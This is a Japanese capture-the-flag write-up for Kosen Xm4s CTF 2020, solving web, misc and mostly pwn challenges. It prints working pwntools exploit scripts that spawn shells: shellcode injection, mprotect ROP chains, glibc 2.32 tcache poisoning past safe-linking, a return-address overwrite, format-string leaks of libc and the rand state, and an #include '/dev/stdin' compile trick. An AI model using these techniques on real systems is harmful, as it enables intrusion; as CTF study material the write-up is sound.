1966点11位。言い訳をすると、年の瀬の平日であまり時間が取れなかった……。
Welcome
Welcome
Discordサーバーに参加してない方はしましょう!大事なお知らせが #announcement に流れてくるかもしれません!
xm4s{welcome_to_xm4s_ctf!hava_fun!}
Web
bad_path (Beginner)
典型的なパストラバーサル。
xm4s{H3110_H3110_CTF3r}
Misc
let us walk zip (Easy)
拡張子が.zipだけれど、実際には.gzファイルで、_good_tool}
と書かれた画像が入っている。解凍時に「まだデータが残っている」的なメッセージが出てくる。ざっと見ただけではシグネチャみたいなものが見つからないし、残りはgoodなtoolを使えということか。
$ binwalk main.zip
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 gzip compressed data, has original file name: "head.png", from Unix, last modified: 2020-12-19 23:58:53
1613 0x64D xz compressed data
後半を解凍するとxm4s{binwalk_is
と書かれた画像が出てくる。実際に解凍しなくてもフラグが推測できたなw
xm4s{binwalk_is_good_tool}
magic_mirror (Medium)
アルファチャンネルに画像がある。
xm4s{4lph4_l4y3r_m4k3s_1m493_tr4nsp4r3nt}
what_is_include? (Medium)
入力した文字列を#include ????
の部分に入力してソースコードがコンパイルされ、実行される。
入力は1行。#include
はプリプロセッサであり、行単位で処理されるので、<stdio.h>; int main(){system(...)}
のようなことはできない。
一見どんなファイルを読み込ませてもシェルなんて取れなさそうだけど、/dev/stdin
というファイルがある。
$ ssh guest@27.133.155.191 -p 30004
guest@27.133.155.191's password:
Last login: Thu Dec 24 19:21:18 2020 from 27.133.155.191
I am writing Hello World program... but... what is #include?
# include (Please tell me here)
int main() {
printf("Hello World");
}
Enter your program:"/dev/stdin"
# include "/dev/stdin"
int main() {
printf("Hello World");
}
ここで、#include
させたい内容を入力してCtrl+D。
# include "/dev/stdin"
int main() {
printf("Hello World");
}
# include <stdlib.h>
int main(){system("/bin/sh");}
# define main main_
元のmain
は#define
で潰した。
コンパイルが走り実行されてシェルが出てくる。
/tmp/program_1194284757.c: In function 'main_':
/tmp/program_1194284757.c:2:14: warning: incompatible implicit declaration of built-in function 'printf' [enabled by default]
int main() { printf("Hello World");}
^
sh-4.2$ ls -al
total 44
dr-xr-sr-x 1 root root 4096 Dec 24 05:15 .
drwxr-xr-x 1 root root 4096 Dec 24 05:15 ..
-rw-r--r-- 1 guest guest 18 Apr 1 2020 .bash_logout
-rw-r--r-- 1 guest guest 193 Apr 1 2020 .bash_profile
-rw-r--r-- 1 guest guest 231 Apr 1 2020 .bashrc
-r--r--r-- 1 root root 32 Dec 24 05:15 flag_irjblwgqbd.txt
-r-xr-xr-x 1 root root 17432 Dec 24 05:15 what_is_include
sh-4.2$ cat flag_irjblwgqbd.txt
xm4s{compile_time_programming!}
printf
を定義するほうが簡単だったか。
xm4s{compile_time_programming!}
Pwn
Pwnがいっぱいあって嬉しい。
beginners_shell (Beginner)
入力内容をCのソースコードに書き出して実行してくれる。
$ nc 27.133.155.191 30002
Enter your program!
int main(){system("/bin/sh");}
rm: cannot remove '/tmp/program': No such file or directory
/tmp/program.c: In function 'main':
/tmp/program.c:1:12: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
1 | int main(){system("/bin/sh");}
| ^~~~~~
ls -al
total 36
drwxr-xr-x 1 root pwn 4096 Dec 24 03:45 .
drwxr-xr-x 1 root root 4096 Dec 24 03:45 ..
-r-xr-x--- 1 root pwn 17088 Dec 24 03:45 beginners_shell
-r-xr-x--- 1 root pwn 62 Dec 24 03:45 entry.sh
-r--r----- 1 root pwn 32 Dec 24 03:45 flag.txt
cat flag.txt
xm4s{Yes!!To_get_SHELL_is_goal}
xm4s{Yes!!To_get_SHELL_is_goal}
match_flag (Beginner)
入力した文字列とフラグを入力した文字列の文字長分比較する。
先頭から探索。
from pwn import *
context.log_level = "warn"
flag = ""
for i in range(0x100):
for c in range(0x20, 0x7f):
c = chr(c)
s = remote("27.133.155.191", 30009)
s.sendline(flag+c)
r = s.recvline()
s.close()
if b"Correct" in r:
flag += c
break
print(flag)
if flag[-1]=="}":
break
$ python3 attack.py
x
xm
xm4
:
xm4s{you got flag finaly hahaha
xm4s{you got flag finaly hahaha}
xm4s{you got flag finaly hahaha}
dead_or_alive (Easy)
# include<stdio.h>
# include<stdlib.h>
# include<string.h>
# include<unistd.h>
char* get_secret_password() {
char password[0x1000]; // I can get very very long password!!
FILE *fp = fopen("./password.txt", "r");
if(fp == NULL) {
puts("password.txt not found.");
exit(0);
}
fgets(password, 0x1000, fp);
char* ret = password;
return ret;
}
void login(char *password) {
char input[512];
printf("Input your password:");
fgets(input, 512, stdin);
if(strcmp(input, password) == 0) {
puts("You logged in!");
system("/bin/sh");
}
}
void hello() {
char name[0x1000];
puts("Tell me your name!");
fgets(name, 0x1000, stdin);
printf("Hello %s\n", name);
}
int menu() {
int ret;
printf(
"0: Hello\n"
"1: Login\n"
);
scanf("%d%*c", &ret);
return ret;
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
char* pass = get_secret_password();
while(1) {
int option = menu();
if(option == 0) {
hello();
} else if(option == 1) {
login(pass);
}
}
}
get_secret_password
がローカル変数のアドレスを返しているのが脆弱性。この領域はhello
のname
と被っているので、hello
を呼び出せば書き換えられる。
$ nc 27.133.155.191 30005
0: Hello
1: Login
0
Tell me your name!
a
Hello a
0: Hello
1: Login
1
Input your password:a
You logged in!
cat flag.txt
xm4s{welc0me_t0_undergr0und}
write_where_what (Easy)
# include<stdio.h>
# include<unistd.h>
# include<stdlib.h>
void call_me_to_win() {
system("/bin/sh");
}
int main() {
// set up for CTF
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
printf("call_me_to_win at %p\n", call_me_to_win);
unsigned long value = 1; // I like unsigned long value!
printf("%lx\n", &value);
size_t where, what;
printf("where:");
scanf("%lx", &where);
printf("what:");
scanf("%lx", &what);
*(size_t*)where = what; // where に what を書き込む
}
好きな場所に好きな値を書き込んでくれる。main関数からのリターンアドレスにcall_me_to_win
のアドレスを書き込めば良い。リターンアドレスは(char *)&value+0x28
、PIEではないのでcall_me_to_win
のアドレスは固定。
$ nc 27.133.155.191 30003
call_me_to_win at 0x401e15
7ffcd09fdf50
where:7ffcd09fdf78
what:401e15
cat flag.txt
xm4s{i_can_rewrite_memory...}
xm4s{i_can_rewrite_memory...}
super_type (Easy)
オブジェクト指向で神クラスっていうのは聴いたことがあるんだよね。 そうだ!C言語にも「なんにでもなれる型」があったら神みたいだね!作ろう!!
$ ./super_type
0: As char*, allocate
1: As char*, printf
2: As char*, input
3: As int*, printf
4: As long*, printf
5: As func_ptr, execute
What do you do? :
char *
として確保し、char *
として入力し、func_ptr
として実行すれば良い。
from pwn import *
context.arch = "amd64"
s = remote("27.133.155.191", 30008)
s.sendlineafter("What do you do? :", "0")
s.sendlineafter("What do you do? :", "2")
s.sendline(asm(shellcraft.sh()))
s.sendlineafter("What do you do? :", "5")
s.interactive()
$ python3 attack.py
[+] Opening connection to 27.133.155.191 on port 30008: Done
[*] Switching to interactive mode
$ cat flag.txt
xm4s{do_you_know_shellcode_database?or_pwntools's_shellcraft}
xm4s{do_you_know_shellcode_database?or_pwntools's_shellcraft}
illegal_jump (Medium)
スコープを超えて飛びまくれ!シェルまで飛んでいけ!
# include<stdio.h>
# include<stdlib.h>
# include<unistd.h>
# include<setjmp.h>
jmp_buf buffer;
void set_buffer_internal() {
setjmp(buffer);
}
void set_buffer() {
char tmp[0x200];
set_buffer_internal();
}
void jump_buffer() {
longjmp(buffer, 1);
}
void hello() {
char name[0x250];
printf("name at %p\n", name);
read(0, name, 0x250 - 1);
name[0x250 - 1] = 0;
printf("Hello %s\n", name);
}
void menu() {
puts("1: Set buffer");
puts("2: Jump buffer");
puts("3: Hello");
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
while(1) {
int opt;
menu();
printf("Enter option:");
scanf("%d%*c", &opt);
switch(opt) {
case 1: {
set_buffer();
break;
}
case 2: {
jump_buffer();
break;
}
case 3: {
hello();
break;
}
default: {
exit(0);
}
}
}
}
世間ではgoto
構文が忌み嫌われているが、goto
なんて同じ関数内でしか飛べないので可愛いものである。longjmp
は他の関数にも飛べる。
どうやって実現しているかというと、単にレジスタの値を全部保存して書き戻しているだけ。rsp
も元に戻るのでスタック上の変数も元に戻る。ただし、その変数が破壊されていなければ。ということで、setjmp
を呼んだ関数が終了した後にlongjmp
を呼んではいけない。
Caveats
If the function which called setjmp() returns before longjmp() is called, the behavior is undefined. Some kind of subtle or unsubtle chaos is sure to result.
このプログラムはそれをやってしまっているのが脆弱性。hello
のname
経由でset_buffer_internal
のリターンアドレスを書き換えられる。
あとは普通にROP。静的リンクで、しかもプログラム中にexecv
系の処理が無いのがちょっと面倒。シェルコードを書き込んで、mprotect
でスタックを実行可能にした。mprotect
の引数はページ(0x1000バイト)単位にしないといけないことに注意。
from pwn import *
elf = ELF("illigal_jump")
context.binary = elf
# s = remote("localhost", 7777)
s = remote("27.133.155.191", 30006)
s.sendlineafter("Enter option:", "1")
s.sendlineafter("Enter option:", "3")
s.recvuntil("name at 0x")
stack = int(s.recvline()[:-1], 16)
print(hex(stack))
rop = ROP(elf)
rop.mprotect(stack&~0xfff, 0x1000, 7)
rop.call(stack)
payload = asm(shellcraft.sh())
payload += b"x"*(0x48-len(payload))
payload += rop.chain()
s.send(payload)
s.sendlineafter("Enter option:", "2")
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/KosenXm4sCTF/illegal_jump/illigal_jump'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 27.133.155.191 on port 30006: Done
0x7ffe40864420
[*] Loaded 114 cached gadgets for 'illigal_jump'
[*] Switching to interactive mode
$ cat flag.txt
xm4s{setjump_uses_to_non_local_exits_like_exceptions}
xm4s{setjump_uses_to_non_local_exits_like_exceptions}
easy_heap (Hard)
問題名がeasyなのにタグがhardとは
スタックのアドレスを教えてくれるし、malloc
の返り値のアドレスも分かるし、ヒープバッファオーバフローもdouble freeもあるので、何とでもなる。ただし、libcが2.32。Safe-Linking。
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観 - newbieからバイナリアンへ
これだけ何でもできるなら、緩和策なんてあって無いようなもの。この問題も静的リンクなので、リターンアドレスのあたりmalloc
に返させて、先ほどの問題と同じようにmprotect
からシェルを実行した。
from pwn import *
elf = ELF("easy_heap")
context.binary = elf
# s = remote("localhost", 7777)
s = remote("27.133.155.191", 30001)
def allocate(index):
s.sendlineafter("enter command:", "0")
s.sendlineafter("enter index:", str(index))
def free(index):
s.sendlineafter("enter command:", "1")
s.sendlineafter("enter index:", str(index))
def edit(index, v):
s.sendlineafter("enter command:", "2")
s.sendlineafter("enter index:", str(index))
s.sendline(v)
def show_addr():
s.sendlineafter("enter command:", "3")
addr = []
for _ in range(3):
s.recvuntil(": ")
a = s.recvline()[:-1]
if a==b"(nil)":
addr += [0]
else:
addr += [int(a, 16)]
return addr
def show_mem(index):
s.sendlineafter("enter command:", "4")
s.sendlineafter("enter index:", str(index))
return unpack(s.recvline()[:-1].ljust(8, b"\0"))
def quit():
s.sendlineafter("enter command:", "5")
s.recvuntil("address at ")
stack = int(s.recvline()[:-1], 16) + 0x20
allocate(0)
allocate(1)
p1 = show_addr()[1]
free(0)
free(1)
edit(1, pack(p1>>12^stack))
allocate(1)
allocate(0)
rop = ROP(elf)
rop.mprotect(stack&~0xfff, 0x1000, 7)
rop.call(stack+8+len(rop.chain())+8)
edit(0, b"x"*8+rop.chain()+asm(shellcraft.sh()))
quit()
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/KosenXm4sCTF/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 27.133.155.191 on port 30001: Done
[*] Loaded 114 cached gadgets for 'easy_heap'
[*] Switching to interactive mode
$ cat flag.txt
xm4s{protect_ptr_is_very_fast}
xm4s{protect_ptr_is_very_fast}
pinzoro (Hard)
解けなかったけど、面白かった問題。
バイナリにpatchelfが当てられていて、そのまま手元で動かせるが便利。
# include <stdio.h>
# include <stdlib.h>
# include <time.h>
# include <stdbool.h>
# include <unistd.h>
int dice(void) {
return rand() % 6 + 1;
}
void init_seed(void) {
int seed;
FILE *fp = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, fp);
srand(seed);
fclose(fp);
// seedはクリアしてるので乱数予測は不可能でしょう!
seed = 0;
}
void challenge(void) {
int results[8];
bool pinzoro = true;
for (int i = 0; i < 8; ++i) {
results[i] = dice();
if (results[i] != 1) pinzoro = false;
}
printf("8d6 => ");
for (int i = 0; i < 8; ++i) {
printf("%d ", results[i]);
}
printf("\n");
if (!pinzoro) {
puts("FAILED TO CHALLENGE...");
return;
}
puts("OH!!!! YOU ARE LUCKY!!!!!!");
system("/bin/sh");
}
void roll_dices(void) {
char count[128];
printf("NUMBER: ");
scanf("%127s%*c", count);
if (atoi(count) > 100000000) {
puts("Sorry, that's too big.");
return;
}
for (int i = 0; i < atoi(count); ++i) {
dice();
}
printf("FINISH ROLLING ");
printf(count);
printf(" DICES.\n");
sleep(1);
}
int menu(void) {
int select;
printf(
"1. ROLL DICES (PRACTICE)\n"
"2. PINZORO CHALLENGE\n"
"SELECT: "
);
scanf("%d%*c", &select);
return select;
}
void setup(void) {
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(void) {
int select;
setup();
init_seed();
while (1) {
select = menu();
if (select == 1) roll_dices();
if (select == 2) {
challenge();
break;
}
}
}
サイコロを8回振って全部1ならばクリア。
練習として指定した回数サイコロを振らせることができる。ただ、練習の結果は分からないので乱数の推測はできない。書式指定文字列攻撃が可能なものの、-D_FORTIFY_SOURCE=2
でコンパイルされている。
-D_FORTIFY_SOURCE=2
による書式文字列攻撃への影響は2個ある。まず、書式文字列が書き換え可能な領域にあると%n
が使えなくなる。つまり、読み込みはできても書き込みができない。もう1個は、%N$x
という書式が制限される。
# include <stdio.h>
int main()
{
printf("%4$d %d %d\n", 0, 1, 2, 3);
}
$ gcc -D_FORTIFY_SOURCE=2 -O2 test.c -o test
test.c: In function ‘main’:
test.c:5:10: warning: missing $ operand number in format [-Wformat=]
printf("%4$d %d %d\n", 0, 1, 2, 3);
^~~~~~~~~~~~~~
$ ./test
*** invalid %N$ use detected ***
Aborted
正確には「穴」があったらダメなので、3番目の引数も使うようにprintf("%4$d %d %d %d\n", 0, 1, 2, 3)
とすると通る。まあ、使う意味は無いだろう。つまり、スタックの近くの情報は読めても、遠くは読めない。
// seedはクリアしてるので乱数予測は不可能でしょう!
意訳すると「seedはクリアしていない」と書かれている。たしかに、最適化でクリアする処理が消えている。「-D_FORTIFY_SOURCE=2
は最適化とセットでないと使えないはずなので、FORTIFYは釣りで、最適化を自然にするためか 」とか考えた。クリアされていないけど、
menu
のselect
で上書きされるんだよな……。数字じゃない文字列を入力すればクリアされないが、それだと先に進まないし……。libcの中には情報が残っているだろうけど、ASLRがあるし……。で終了。
恥ずかしいミスをしていました...
— Satoooon (@Satoooon1024) December 26, 2020
0で埋めるのは「スタックにはもうないよ」というヒントのつもりだったんですが、アセンブリは最低限確認すべきでした...
コメントはそのままの意味だった。私がひねくれていた。
ASLRがあるなら、libcのアドレスをリークさせれば良いだけか。
ということで、これを読んで自分でも解いてみる。
// gcc attack.c -o attack
# include <stdio.h>
# include <stdlib.h>
int main()
{
char *x[1];
char *ret = x[8];
char *randtbl = ret-0x7ffff7a05b97+0x7ffff7dcf1c0; // glibc 2.27
//char *randtbl = ret-0x7ffff7dfd0b3+0x7ffff7fc11c0; // glibc 2.31
fread(randtbl+4, 4, 31, stdin);
//for (int i=0; i<8; i++)
// printf(" %d", rand()%6+1);
//printf("\n");
int dice[8] = {};
for (int i=0; ; i++)
{
int ok = 1;
for (int j=0; j<8; j++)
if (dice[j]!=1)
ok = 0;
if (ok)
{
printf("%d\n", i-8);
break;
}
dice[i%8] = rand()%6+1;
}
}
rand
の内部状態を入力して、ピンゾロまでの回数を求めるプログラム。patchelfでサーバーと同じlibcが使えればちょっと楽なのに、なぜかダメだった。ま、libcのバージョンが違ってもこの辺の処理は変わらないだろう。
あとは、libcのアドレスのリーク → randtbl
のリーク。
from pwn import *
context.arch = "amd64"
s = remote("153.125.225.197", 30000)
s.sendlineafter("SELECT: ", "1")
s.sendlineafter("NUMBER: ", "%lx_"*0x1c)
s.recvuntil("FINISH ROLLING ")
ret = int(s.recvline().split(b"_")[0x1b], 16)
randtbl = ret-0x7ffff7dfd0b3+0x7ffff7fc11c0
s.sendlineafter("SELECT: ", "1")
s.sendlineafter("NUMBER: ", b"%c%c%c%c%c%c__%s"+pack(randtbl+4))
s.recvuntil("FINISH ROLLING ")
r = s.recvline()[:-len(" DICES.\n")][0x8:0x84]
assert len(r)==4*31
attack = process("./attack")
attack.send(r)
print(attack.recvline())
s.interactive()
$ python3 attack.py
[+] Opening connection to 153.125.225.197 on port 30000: Done
[+] Starting local process './attack': pid 24330
b'76534\n'
[*] Switching to interactive mode
1. ROLL DICES (PRACTICE)
2. PINZORO CHALLENGE
SELECT: $ 1
NUMBER: $ 76534
FINISH ROLLING 76534 DICES.
1. ROLL DICES (PRACTICE)
2. PINZORO CHALLENGE
SELECT: $ 2
8d6 => 1 1 1 1 1 1 1 1
OH!!!! YOU ARE LUCKY!!!!!!
$ cat flag.txt
xm4s{m1ra1_ha_b0kuran0_ten0naka}
回数を出力するところまでスクリプトで、あとは手作業した。
xm4s{m1ra1_ha_b0kuran0_ten0naka}